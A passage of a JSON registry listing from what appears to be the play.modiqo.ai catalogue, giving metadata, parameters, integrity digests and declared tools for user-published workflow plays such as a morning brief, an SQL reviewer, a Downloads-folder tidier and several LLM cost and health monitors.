requires_consent":false},"integrity":{"digest":"sha256:633096b7f16222189f756ae53aad486a1d669cd62d3fa367a5cb96d17f806cad","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"curl","kind":"tool","source":"inferred","count":1},{"name":"data","kind":"tool","source":"inferred","count":1},{"name":"dl","kind":"tool","source":"inferred","count":1},{"name":"except","kind":"tool","source":"inferred","count":1},{"name":"import","kind":"tool","source":"inferred","count":1},{"name":"items","kind":"tool","source":"inferred","count":1},{"name":"name","kind":"tool","source":"inferred","count":1},{"name":"owner","kind":"tool","source":"inferred","count":1},{"name":"python3","kind":"tool","source":"inferred","count":1},{"name":"top","kind":"tool","source":"inferred","count":1},{"name":"www.modiqo.ai","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/srinjoy356/start-my-day@0.1.0","reference":"srinjoy356/start-my-day@0.1.0","uri":"https://play.modiqo.ai/srinjoy356/start-my-day@0.1.0","manifest_uri":"https://play.modiqo.ai/srinjoy356/start-my-day@0.1.0","name":"start-my-day","title":"start-my-day","description":"Cross-source morning brief joining GitHub PRs and Google Calendar meetings into a prioritized list.","owner":{"kind":"user","slug":"srinjoy356"},"registry_organization":"srinjoy356","tags":[],"primary_domain":"domain-uncategorized","author":"srinjoy356","version":"0.1.0","published_at":"2026-09-02T22:32:31.769881+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2913,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":7,"names":["get_dates","auth_github","join_results","auth_calendar","calendar_events","search_github_reviews","search_github_authored"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e39d7920c18e4a6dbb6edac8518a26800ae5158c2fb8b2bf1168b609c3d01c6e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":3,"shell":2,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":14,"apis":[{"adapter":"github","steps":3,"methods":["search/issues-and-pull-requests"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]},{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/calendar","version":"0.0.4","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rameshwar/sql-query-reviewer@0.1.0","reference":"rameshwar/sql-query-reviewer@0.1.0","uri":"https://play.modiqo.ai/rameshwar/sql-query-reviewer@0.1.0","manifest_uri":"https://play.modiqo.ai/rameshwar/sql-query-reviewer@0.1.0","name":"sql-query-reviewer","title":"sql-query-reviewer","description":"Validate and review SQL queries for syntax and common engineering risks.","owner":{"kind":"org","slug":"rameshwar"},"registry_organization":"rameshwar","tags":[],"primary_domain":"domain-uncategorized","author":"rameshwar","version":"0.1.0","published_at":"2026-09-02T20:40:28.046593+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3398,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","validate"]},"parameters":[{"name":"sql","type":"string","required":true,"description":"SQL query to validate and review"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:77d558f25e87c3e123f209e06ed1ea4ba80830fbc5b8d9efff5ccbd22783f557","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adityasingh/change-impact-map@0.1.0","reference":"adityasingh/change-impact-map@0.1.0","uri":"https://play.modiqo.ai/adityasingh/change-impact-map@0.1.0","manifest_uri":"https://play.modiqo.ai/adityasingh/change-impact-map@0.1.0","name":"change-impact-map","title":"change-impact-map","description":"Read-only change impact analysis for a proposed code change. Given a repository path, target symbol, and change description, locates definitions, direct and indirect references, imports, tests, git history, and config touchpoints; separates real dependencies from coincidental text matches; and returns a risk-ranked impact map with verification steps. Never modifies, commits, or pushes files.","owner":{"kind":"user","slug":"adityasingh"},"registry_organization":"adityasingh","tags":["domain-code-analysis","job-impact-assessment","audience-developers","effect-read-only"],"primary_domain":"domain-code-analysis","author":"adityasingh","version":"0.1.0","published_at":"2026-09-02T19:30:22.022432+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5344,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":7,"names":["find_tests","find_imports","validate_inputs","find_definitions","collect_git_evidence","scan_config_contracts","find_direct_references"]},"parameters":[{"name":"repository","type":"string","required":true,"description":"Absolute or relative path to the repository root to analyze"},{"name":"target_symbol","type":"string","required":true,"description":"Symbol, type, field, route, or identifier whose change impact should be mapped"},{"name":"change_description","type":"string","required":true,"description":"Plain-language description of the proposed change (rename, contract change, removal, etc.)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f8446fef53d967e12614c2c1b0bf6d20f415f24978c65fda64f7274715e3c56a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/fact-check-ai-claims@0.1.0","reference":"bhanu82/fact-check-ai-claims@0.1.0","uri":"https://play.modiqo.ai/bhanu82/fact-check-ai-claims@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/fact-check-ai-claims@0.1.0","name":"fact-check-ai-claims","title":"fact-check-ai-claims","description":"Fact-check claims made by your AI against real public websites. Compares dates, prices, rules, and facts from 2 to 8 web pages and clearly flags when sources agree or contradict each other. Zero setup, zero API keys, 100% read-only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-claim-join","audience-developers","public-sources","contradiction-detection"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-02T19:03:51.888414+00:00","visibility":"public","quality_score":1,"size_bytes":10175,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["join_claims","fetch_sources"]},"parameters":[{"name":"urls","type":"string","required":false,"default":"https://luma.com/rotehack,https://www.modiqo.ai/blog/the-playoffs","description":"Comma-separated list of two to eight public HTTP(S) pages to join","example":"https://example.com/pricing,https://example.org/announcement"},{"name":"extra_url","type":"string","required":false,"default":"","description":"Optional additional public HTTP(S) page to include in the same claim join","example":"https://example.net/terms"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3ba4f4db37f432771fa4bbfff4e6a41a6137f968f4236fcba3c7299a1bc7d2f4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bavya21/calorie-meal-advisor@0.2.0","reference":"bavya21/calorie-meal-advisor@0.2.0","uri":"https://play.modiqo.ai/bavya21/calorie-meal-advisor@0.2.0","manifest_uri":"https://play.modiqo.ai/bavya21/calorie-meal-advisor@0.2.0","name":"calorie-meal-advisor","title":"calorie-meal-advisor","description":"Calorie target calculator and macro-tailored meal planner based on body metrics.","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["domain-healthcare","family-safety","audience-caregivers","effect-notification"],"primary_domain":"domain-healthcare","author":"bavya21","version":"0.2.0","published_at":"2026-09-02T18:31:56.630087+00:00","visibility":"public","quality_score":0.875,"size_bytes":2229,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["dispatch_alert"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f7b9861570687166bc1ddebb678c7291dcbd8e76f217a5a01153465426d32916","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cheersaman1/dataset-eval-sanity-check@1.0.0","reference":"cheersaman1/dataset-eval-sanity-check@1.0.0","uri":"https://play.modiqo.ai/cheersaman1/dataset-eval-sanity-check@1.0.0","manifest_uri":"https://play.modiqo.ai/cheersaman1/dataset-eval-sanity-check@1.0.0","name":"dataset-eval-sanity-check","title":"dataset-eval-sanity-check","description":"Check a JSONL dataset for duplicate rows, missing required keys, and text length outliers with exact row citations.","owner":{"kind":"user","slug":"cheersaman1"},"registry_organization":"cheersaman1","tags":[],"primary_domain":"domain-uncategorized","author":"cheersaman1","version":"1.0.0","published_at":"2026-09-02T18:21:45.351366+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":2059,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["dataset_check"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7c8185ee1ec47ed55c0a8640d67ba73a44f3389741388418a1228141c3db795f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/arunkumar0398/hackathon-decision-gate@0.1.0","reference":"arunkumar0398/hackathon-decision-gate@0.1.0","uri":"https://play.modiqo.ai/arunkumar0398/hackathon-decision-gate@0.1.0","manifest_uri":"https://play.modiqo.ai/arunkumar0398/hackathon-decision-gate@0.1.0","name":"hackathon-decision-gate","title":"hackathon-decision-gate","description":"Evaluates whether a public hackathon is worth entering now, preserving cited requirements, UNKNOWNs, and authoritative conflicts.","owner":{"kind":"user","slug":"arunkumar0398"},"registry_organization":"arunkumar0398","tags":["hackathon","decision-gate","due-diligence"],"primary_domain":"domain-uncategorized","author":"Sivaarunaj","version":"0.1.0","published_at":"2026-09-02T16:10:45.040477+00:00","visibility":"public","quality_score":0.875,"size_bytes":14870,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":8,"names":["fetch_event_page","evaluate_decision_gate","extract_event_evidence","fetch_official_sources","capture_evaluation_time","discover_official_sources","extract_official_evidence","validate_decision_contract"]},"parameters":[{"name":"hackathon_url","type":"string","required":true,"description":"Fresh absolute HTTP(S) URL for the public hackathon event page"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0205c2b5a7e9a538f1d8627ce6ad1e0e08c7e1286926333251899f3ac6cb9d3d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":7,"width":2,"fan_out":3,"for_each_steps":2,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shubham-hacks/hackathon-readiness-auditor@0.1.0","reference":"shubham-hacks/hackathon-readiness-auditor@0.1.0","uri":"https://play.modiqo.ai/shubham-hacks/hackathon-readiness-auditor@0.1.0","manifest_uri":"https://play.modiqo.ai/shubham-hacks/hackathon-readiness-auditor@0.1.0","name":"hackathon-readiness-auditor","title":"hackathon-readiness-auditor","description":"Audits a local project for hackathon submission readiness and returns a score, blockers, evidence, and prioritized fixes without exposing secret values.","owner":{"kind":"org","slug":"shubham-hacks"},"registry_organization":"shubham-hacks","tags":["hackathon","readiness","submission","security","project-audit","typescript"],"primary_domain":"domain-uncategorized","author":"Ss Cse1001","version":"0.1.0","published_at":"2026-09-02T13:56:36.44712+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5037,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["inspect_project","prioritize_fixes"]},"parameters":[{"name":"project_directory","type":"string","required":true,"description":"Path to the local project directory to inspect"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f88c80127f5458a2045d55b81110e341761e92a7f7767f8349229622958dd208","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chiru/downloads-filed@0.2.0","reference":"chiru/downloads-filed@0.2.0","uri":"https://play.modiqo.ai/chiru/downloads-filed@0.2.0","manifest_uri":"https://play.modiqo.ai/chiru/downloads-filed@0.2.0","name":"downloads-filed","title":"downloads-filed","description":"Your Downloads folder is where files go to be forgotten. This files the recent ones into a dated folder and leaves a manifest that puts every one of them back. Dry run by default - the first time you run it, it touches nothing and shows you the exact plan, so you can decide with the moves in front of you rather than after. It never overwrites - a name that already exists in the destination gets a numbered suffix, and the manifest records the rename. It never moves bundles or installers, because moving a .app or a .dmg breaks things in ways nobody connects back to a sweep they ran three days ago. Directories and dotfiles are left alone. After moving, it checks that every file is actually at its destination and actually gone from the source, and reports any that are not rather than claiming success. Two sweeps on the same day extend one manifest instead of replacing it, so the first sweep's files stay recoverable. Undo ships with the play as a script that refuses to overwrite anything sitting at the original path. No credentials, no network, python3 alone.","owner":{"kind":"user","slug":"chiru"},"registry_organization":"chiru","tags":["domain-local-files","job-folder-tidy","audience-everyone","effect-reversible-write"],"primary_domain":"domain-local-files","author":"chiru","version":"0.2.0","published_at":"2026-09-02T11:56:12.861486+00:00","visibility":"public","quality_score":1,"size_bytes":11454,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["plan","scan","apply","report","verify"]},"parameters":[{"name":"source","type":"string","required":false,"default":"~/Downloads","description":"The folder to sweep. Read only for its own listing; nothing outside it is touched.","example":"~/Desktop"},{"name":"hours","type":"string","required":false,"default":"24","description":"Only files modified within this many hours are candidates. Widen it for a weekly sweep, narrow it to catch just this afternoon. This is the value that changes between runs.","example":"168"},{"name":"archive_root","type":"string","required":false,"default":"~/Documents/filed","description":"Where the dated folder is created. The sweep writes only inside archive_root, and only into that day's folder.","example":"~/Archive"},{"name":"dry_run","type":"string","required":false,"default":"true","description":"Leave this true to see the plan and move nothing. Set it to false to actually move the files. It defaults to true so that running this play for the first time cannot cost you anything.","values":["true","false"],"example":"false"},{"name":"day","type":"string","required":false,"default":"","description":"Name of the dated destination folder. Empty means today in YYYY-MM-DD. Set it to file a batch under a date other than today.","example":"2026-09-01"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:39b73892fd07edcafacf2079e9f80a8055cb3a692dfab97a5bb6c01c1326ec5d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/mongoose-integrity-validator@1.0.0","reference":"pathan-security/mongoose-integrity-validator@1.0.0","uri":"https://play.modiqo.ai/pathan-security/mongoose-integrity-validator@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/mongoose-integrity-validator@1.0.0","name":"mongoose-integrity-validator","title":"mongoose-integrity-validator","description":"Mongoose Integrity Checklist: scans backend/src models and services/controllers to report model coverage, indexed query health, and missing validation warnings. Read-only.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["mongoose","integrity","audit"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-02T11:01:45.870115+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5854,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["discover_layout","extract_model_schema","extract_query_health"]},"parameters":[{"name":"backend_src_path","type":"string","required":true,"description":"Absolute path to the backend src directory containing models/, services/, controllers/ (e.g. <repo>/backend/src)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cdac2d42de26a7a821381d6c4ac94dbdf9b7ee3ef5adc1f60afb35fb93046012","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":3,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"ls","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajat-yadav/context-window-guard@0.0.1","reference":"rajat-yadav/context-window-guard@0.0.1","uri":"https://play.modiqo.ai/rajat-yadav/context-window-guard@0.0.1","manifest_uri":"https://play.modiqo.ai/rajat-yadav/context-window-guard@0.0.1","name":"context-window-guard","title":"context-window-guard","description":"Check prompts against LLM context windows, estimate tokens, flag safety margin","owner":{"kind":"org","slug":"rajat-yadav"},"registry_organization":"rajat-yadav","tags":["tokens","context-window","limits","safety","llm"],"primary_domain":"domain-uncategorized","author":"rajat-yadav","version":"0.0.1","published_at":"2026-09-02T05:07:42.865055+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8620,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["token_check"]},"parameters":[{"name":"prompt_file","type":"string","required":true,"description":"Path to file containing the prompt text"},{"name":"max_tokens","type":"string","required":false,"default":"1000","description":"Max output tokens reserved for completion"},{"name":"limit","type":"string","required":false,"default":"32000","description":"Context window limit (4096/8192/16384/32768/131072)"},{"name":"report_log","type":"string","required":false,"default":"~/.rote/llm-health/context-reports.jsonl","description":"Path to report log file"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e2280291bb7561886ed028e617541d898cf3c1c19a8d1dc69fac32731613a515","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajat-yadav/api-retry-backoff@0.0.1","reference":"rajat-yadav/api-retry-backoff@0.0.1","uri":"https://play.modiqo.ai/rajat-yadav/api-retry-backoff@0.0.1","manifest_uri":"https://play.modiqo.ai/rajat-yadav/api-retry-backoff@0.0.1","name":"api-retry-backoff","title":"api-retry-backoff","description":"Retry API calls with exponential backoff on 429/5xx, give up after 5 attempts, log each retry","owner":{"kind":"org","slug":"rajat-yadav"},"registry_organization":"rajat-yadav","tags":["retry","backoff","resilience","api","http"],"primary_domain":"domain-uncategorized","author":"rajat-yadav","version":"0.0.1","published_at":"2026-09-02T03:47:26.07961+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3415,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["retry_check"]},"parameters":[{"name":"url","type":"string","required":true,"description":"API endpoint URL"},{"name":"method","type":"string","required":false,"default":"GET","description":"HTTP method (GET, POST, PUT, DELETE)"},{"name":"body","type":"string","required":false,"description":"Request body (JSON string for POST/PUT)"},{"name":"auth_header","type":"string","required":false,"description":"Authorization header value (e.g. Bearer token)"},{"name":"max_attempts","type":"string","required":false,"default":"5","description":"Maximum retry attempts"},{"name":"retry_log_path","type":"string","required":false,"default":"~/.rote/llm-health/retry-log.jsonl","description":"Path to retry log file"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3a1e8623879bc3be2fb029344a7ff8b81ced39a485c2ac5dd4c0e3c02102f08c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajat-yadav/llm-cost-tracker@0.0.1","reference":"rajat-yadav/llm-cost-tracker@0.0.1","uri":"https://play.modiqo.ai/rajat-yadav/llm-cost-tracker@0.0.1","manifest_uri":"https://play.modiqo.ai/rajat-yadav/llm-cost-tracker@0.0.1","name":"llm-cost-tracker","title":"llm-cost-tracker","description":"Track LLM token usage across sessions, calculate costs per provider, alert on budget threshold, log cost spikes","owner":{"kind":"org","slug":"rajat-yadav"},"registry_organization":"rajat-yadav","tags":["cost","budget","tokens","llm","monitoring"],"primary_domain":"domain-uncategorized","author":"rajat-yadav","version":"0.0.1","published_at":"2026-09-02T03:33:03.276177+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3730,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["cost_check"]},"parameters":[{"name":"sessions_file","type":"string","required":true,"description":"Path to JSON file with session usage data"},{"name":"budget_daily","type":"string","required":true,"description":"Daily budget threshold in USD"},{"name":"spike_log_path","type":"string","required":false,"default":"~/.rote/llm-health/cost-spikes.jsonl","description":"Path to cost spike log file"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:685211e3664462b52e1d6ee4a1e666f1c2548e6e7eca0ee340fbb01488e62ab9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajat-yadav/llm-provider-health@0.0.1","reference":"rajat-yadav/llm-provider-health@0.0.1","uri":"https://play.modiqo.ai/rajat-yadav/llm-provider-health@0.0.1","manifest_uri":"https://play.modiqo.ai/rajat-yadav/llm-provider-health@0.0.1","name":"llm-provider-health","title":"llm-provider-health","description":"Monitor LLM provider health, trip circuit breaker on 429/5xx, switch to fallback, log healing action","owner":{"kind":"org","slug":"rajat-yadav"},"registry_organization":"rajat-yadav","tags":["monitoring","resilience","self-healing","llm"],"primary_domain":"domain-uncategorized","author":"rajat-yadav","version":"0.0.1","published_at":"2026-09-01T18:43:08.349568+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3175,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["health_check"]},"parameters":[{"name":"primary_url","type":"string","required":true,"description":"Primary LLM provider health endpoint URL"},{"name":"fallback_url","type":"string","required":true,"description":"Fallback LLM provider health endpoint URL"},{"name":"state_path","type":"string","required":false,"default":"~/.rote/llm-health/circuit-breaker.json","description":"Path to circuit breaker state file"},{"name":"log_path","type":"string","required":false,"default":"~/.rote/llm-health/healing-log.jsonl","description":"Path to healing action log file"},{"name":"timeout_ms","type":"number","required":false,"default":10000,"description":"Request timeout in milliseconds"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2ae832f8f21d5479113be9c5faddfcc31ec30e5381dcc9434f0a6ce09ad9791d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rameshwar/job-resume-match@0.0.1","reference":"rameshwar/job-resume-match@0.0.1","uri":"https://play.modiqo.ai/rameshwar/job-resume-match@0.0.1","manifest_uri":"https://play.modiqo.ai/rameshwar/job-resume-match@0.0.1","name":"job-resume-match","title":"job-resume-match","description":"Analyze a public job posting against a local resume and produce an 